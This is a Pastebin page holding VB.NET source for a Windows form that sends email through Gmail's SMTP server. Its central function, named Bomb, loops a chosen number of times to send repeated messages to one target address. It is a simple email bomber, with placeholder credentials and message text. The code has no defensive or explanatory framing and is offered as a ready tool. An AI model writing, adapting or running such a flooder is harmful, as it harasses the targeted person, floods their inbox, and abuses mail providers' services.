Advertisement
Guest User

Untitled

a guest
Jul 19th, 2017
44
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Imports System.Net.Mail
  2.  
  3. Public Class Form1
  4.  
  5.     Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  6.         Dim Mail As New MailMessage
  7.         Mail.Subject = TextBox4.Text
  8.         Mail.To.Add(TextBox2.Text)
  9.         Mail.From = New MailAddress(TextBox2.Text)
  10.         Mail.Body = TextBox1.Text
  11.  
  12.         Dim SMTP As New SmtpClient("smtp.gmail.com")
  13.         SMTP.EnableSsl = True
  14.         SMTP.Credentials = New System.Net.NetworkCredential(TextBox2.Text, TextBox3.Text)
  15.         SMTP.Port = "587"
  16.         SMTP.Send(Mail)
  17.     End Sub
  18.  
  19.     Public Function Bomb(ByVal EmailToBomb As String, ByVal TimesToBomb As Integer) As Integer
  20.         Dim bombs As Integer = 0 'count of times bombed
  21.        For i = 0 To TimesToBomb - 1 'multiple bombs through a loop
  22.            Dim username As String = "GmailUsername"
  23.             Dim password As String = "UsernamePassword"
  24.             Dim emailFrom As String = "Email_From"
  25.             Dim message As String = "Your bomb message here."
  26.             Dim subject As String = "Your subject here."
  27.             If SendMail(username, password, EmailToBomb, emailFrom, subject, message) Then
  28.                 bombs += 1 'message was sent; increment the count of times bombed.
  29.  
  30.                 'you can update a label here with times bombed.
  31.  
  32.                 My.Application.DoEvents()
  33.             End If
  34.         Next
  35.         Return bombs 'return the number of successful messages sent
  36.    End Function
  37.  
  38.     Public Function SendMail(ByVal Username As String, ByVal Password As String, ByVal Recipient As String, ByVal EmailFrom As String, ByVal Subject As String, ByVal Message As String) As Boolean
  39.         Try
  40.             Dim Mail1 As New Net.Mail.MailMessage
  41.             Mail1.Subject = Subject
  42.             Mail1.To.Add(Recipient)
  43.             Mail1.From = New Net.Mail.MailAddress(EmailFrom)
  44.             Mail1.Body = Message
  45.             Dim smtp As New Net.Mail.SmtpClient("smtp.gmail.com")
  46.             smtp.EnableSsl = True
  47.             smtp.Credentials = New System.Net.NetworkCredential(Username, Password)
  48.             smtp.Port = 587
  49.             smtp.Send(Mail1)
  50.             Return True 'sent
  51.        Catch
  52.             Return False 'not sent
  53.        End Try
  54.     End Function
  55.  
  56. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement